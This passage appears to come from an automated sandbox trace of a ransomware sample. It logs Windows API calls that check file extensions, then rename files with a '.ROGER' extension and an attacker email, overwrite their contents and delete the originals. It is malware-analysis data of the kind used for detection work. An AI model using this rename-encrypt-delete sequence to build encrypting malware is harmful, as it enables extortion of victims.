Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.704] lstrlenW (lpString=".1cd") returned 4 [0039.704] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.704] lstrlenW (lpString=".jpg") returned 4 [0039.704] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.704] lstrlenW (lpString=".doc") returned 4 [0039.704] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.704] lstrlenW (lpString=".docx") returned 5 [0039.705] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0039.705] lstrlenW (lpString=".pdf") returned 4 [0039.705] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.705] lstrlenW (lpString=".xls") returned 4 [0039.705] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.705] lstrlenW (lpString=".xlsx") returned 5 [0039.705] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0039.705] lstrlenW (lpString=".ppt") returned 4 [0039.705] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.705] lstrlenW (lpString=".zip") returned 4 [0039.705] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.705] lstrlenW (lpString=".rar") returned 4 [0039.705] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.705] lstrlenW (lpString=".bz2") returned 4 [0039.705] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.705] lstrlenW (lpString=".7z") returned 3 [0039.705] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.705] lstrlenW (lpString=".dbf") returned 4 [0039.705] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.705] lstrlenW (lpString=".1cd") returned 4 [0039.705] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0039.705] lstrlenW (lpString=".jpg") returned 4 [0039.705] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.705] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0039.705] lstrlenW (lpString="OutlkLR.cab") returned 11 [0039.706] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0039.706] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=14819276) returned 1 [0039.707] CloseHandle (hObject=0x374) returned 1 [0039.707] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0039.707] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0039.707] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0039.708] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0039.708] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0039.708] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0039.708] ReadFile (in: hFile=0x374, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.712] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0039.713] ReadFile (in: hFile=0x374, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.717] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0039.717] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0039.717] ReadFile (in: hFile=0x374, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.920] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0039.920] WriteFile (in: hFile=0x374, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0039.932] SetEndOfFile (hFile=0x374) returned 1 [0039.932] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e60098 [0039.935] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0039.935] WriteFile (in: hFile=0x374, lpBuffer=0x4e60098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e60098*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.936] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0039.936] WriteFile (in: hFile=0x374, lpBuffer=0x4e60098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e60098*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.937] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0039.937] WriteFile (in: hFile=0x374, lpBuffer=0x4e60098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e60098*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0039.938] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e60098 | out: hHeap=0x790000) returned 1 [0039.938] CloseHandle (hObject=0x374) returned 1 [0041.860] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0041.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.860] lstrlenW (lpString=".doc") returned 4 [0041.860] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.860] lstrlenW (lpString=".docx") returned 5 [0041.860] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.860] lstrlenW (lpString=".pdf") returned 4 [0041.861] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.861] lstrlenW (lpString=".xls") returned 4 [0041.861] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.861] lstrlenW (lpString=".xlsx") returned 5 [0041.861] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.861] lstrlenW (lpString=".ppt") returned 4 [0041.861] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.861] lstrlenW (lpString=".zip") returned 4 [0041.861] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.861] lstrlenW (lpString=".rar") returned 4 [0041.861] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.861] lstrlenW (lpString=".bz2") returned 4 [0041.861] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.861] lstrlenW (lpString=".7z") returned 3 [0041.861] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.861] lstrlenW (lpString=".dbf") returned 4 [0041.861] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.861] lstrlenW (lpString=".1cd") returned 4 [0041.861] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.861] lstrlenW (lpString=".jpg") returned 4 [0041.861] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.861] lstrlenW (lpString=".doc") returned 4 [0041.861] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.861] lstrlenW (lpString=".docx") returned 5 [0041.861] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.861] lstrlenW (lpString=".pdf") returned 4 [0041.862] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.862] lstrlenW (lpString=".xls") returned 4 [0041.862] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.862] lstrlenW (lpString=".xlsx") returned 5 [0041.862] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.862] lstrlenW (lpString=".ppt") returned 4 [0041.862] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.862] lstrlenW (lpString=".zip") returned 4 [0041.862] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.862] lstrlenW (lpString=".rar") returned 4 [0041.862] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.862] lstrlenW (lpString=".bz2") returned 4 [0041.862] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.862] lstrlenW (lpString=".7z") returned 3 [0041.862] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.862] lstrlenW (lpString=".dbf") returned 4 [0041.862] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.862] lstrlenW (lpString=".1cd") returned 4 [0041.862] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.862] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0041.862] lstrlenW (lpString=".jpg") returned 4 [0041.862] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.862] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0041.862] lstrlenW (lpString="Proof.msi") returned 9 [0041.862] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0042.156] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=875520) returned 1 [0042.156] CloseHandle (hObject=0x398) returned 1 [0042.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0042.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0042.157] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.157] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.157] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0042.157] GetLastError () returned 0x0 [0042.157] ReadFile (in: hFile=0x398, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0042.179] WriteFile (in: hFile=0x390, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0042.194] ReadFile (in: hFile=0x398, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0042.194] WriteFile (in: hFile=0x390, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.194] SetEndOfFile (hFile=0x390) returned 1 [0042.194] CloseHandle (hObject=0x390) returned 1 [0042.201] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.201] SetEndOfFile (hFile=0x398) returned 1 [0042.387] CloseHandle (hObject=0x398) returned 1 [0042.387] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0042.387] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0042.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.387] lstrlenW (lpString=".doc") returned 4 [0042.387] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.387] lstrlenW (lpString=".docx") returned 5 [0042.388] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.388] lstrlenW (lpString=".pdf") returned 4 [0042.388] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.388] lstrlenW (lpString=".xls") returned 4 [0042.388] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.388] lstrlenW (lpString=".xlsx") returned 5 [0042.388] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.388] lstrlenW (lpString=".ppt") returned 4 [0042.388] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.388] lstrlenW (lpString=".zip") returned 4 [0042.388] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.388] lstrlenW (lpString=".rar") returned 4 [0042.388] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.388] lstrlenW (lpString=".bz2") returned 4 [0042.388] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.388] lstrlenW (lpString=".7z") returned 3 [0042.388] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.388] lstrlenW (lpString=".dbf") returned 4 [0042.388] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.388] lstrlenW (lpString=".1cd") returned 4 [0042.388] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.388] lstrlenW (lpString=".jpg") returned 4 [0042.388] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.388] lstrlenW (lpString=".doc") returned 4 [0042.388] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.388] lstrlenW (lpString=".docx") returned 5 [0042.389] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0042.389] lstrlenW (lpString=".pdf") returned 4 [0042.389] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.389] lstrlenW (lpString=".xls") returned 4 [0042.389] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.389] lstrlenW (lpString=".xlsx") returned 5 [0042.389] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0042.389] lstrlenW (lpString=".ppt") returned 4 [0042.389] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.389] lstrlenW (lpString=".zip") returned 4 [0042.389] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.389] lstrlenW (lpString=".rar") returned 4 [0042.389] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.389] lstrlenW (lpString=".bz2") returned 4 [0042.389] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.389] lstrlenW (lpString=".7z") returned 3 [0042.389] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.389] lstrlenW (lpString=".dbf") returned 4 [0042.389] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.389] lstrlenW (lpString=".1cd") returned 4 [0042.389] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0042.389] lstrlenW (lpString=".jpg") returned 4 [0042.389] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.390] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0042.390] lstrlenW (lpString="Proof.msi") returned 9 [0042.390] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.726] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=881152) returned 1 [0042.726] CloseHandle (hObject=0x35c) returned 1 [0042.726] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0042.726] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.726] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.726] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.726] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.726] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0042.727] GetLastError () returned 0x0 [0042.727] ReadFile (in: hFile=0x35c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xd7200, lpOverlapped=0x0) returned 1 [0042.764] WriteFile (in: hFile=0x38c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0042.862] ReadFile (in: hFile=0x35c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0042.862] WriteFile (in: hFile=0x38c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.967] SetEndOfFile (hFile=0x38c) returned 1 [0042.967] CloseHandle (hObject=0x38c) returned 1 [0042.976] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: 